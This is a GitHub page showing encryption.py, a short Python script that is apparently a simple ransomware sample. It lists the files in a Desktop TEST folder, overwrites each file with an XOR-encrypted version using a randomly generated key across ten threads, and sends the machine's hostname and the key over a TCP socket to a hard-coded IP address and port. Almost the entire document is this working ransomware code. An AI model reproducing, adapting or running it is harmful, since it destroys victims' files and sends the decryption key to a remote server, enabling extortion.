-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathencryption.py
85 lines (67 loc) · 2.14 KB
/
encryption.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import socket
import os
import threading
import queue
import random
def encrypt(key):
file = q.get()
print(f'Encrypting {file}')
try:
key_index = 0
max_key_index = len(key) - 1
encrypted_data = ''
with open(file, 'rb') as f:
data = f.read()
with open(file, 'w') as f:
f.write('')
for byte in data:
xor_byte = byte ^ ord(key[key_index])
with open(file, 'ab') as f:
f.write(xor_byte.to_bytes(1, 'little'))
if key_index >= max_key_index:
key_index = 0
else:
key_index += 1
print(f'{file} successfully encrypted')
except:
print(f'Failed to encrypt {file}')
q.task_done()
IP_ADDRESS = '192.168.162.190'
PORT = 5678
ENCRYPTION_LEVEL = 512 // 8
key_char_pool = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ<>?,./;[]{}|'
key_char_pool_len = len(key_char_pool)
print("Preparing files...")
desktop_path = os.environ['USERPROFILE'] + '\\Desktop' + '\\TEST'
files = os.listdir(desktop_path)
abs_files = []
for f in files:
if os.path.isfile(f'{desktop_path}\\{f}') and f != __file__[:-2]+'exe':
abs_files.append(f'{desktop_path}\\{f}')
print("successfully located all files!")
# Grab clients hostname
hostname = os.getenv('COMPUTERNAME')
# Generate encryption key
print('Generating encryption key...')
key = ''
for i in range(ENCRYPTION_LEVEL):
key += key_char_pool[random.randint(0, key_char_pool_len - 1)]
print("Key Generated!!!")
# Store files into a queue for threads to handle
q = queue.Queue()
for f in abs_files:
q.put(f)
# Setup threads to get ready for encryption
for i in range(10):
t = threading.Thread(target=encrypt, args=(key,), daemon=True)
t.start()
# Connect to server to transfer key and hostname
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((IP_ADDRESS, PORT))
print('Successfully connected... transmitting hostname and key')
s.send(f'{hostname} : {key}'.encode('utf-8'))
print('Finished transmitting data!!')
s.close()
q.join()
print('Encryption and upload complete!!!')
input()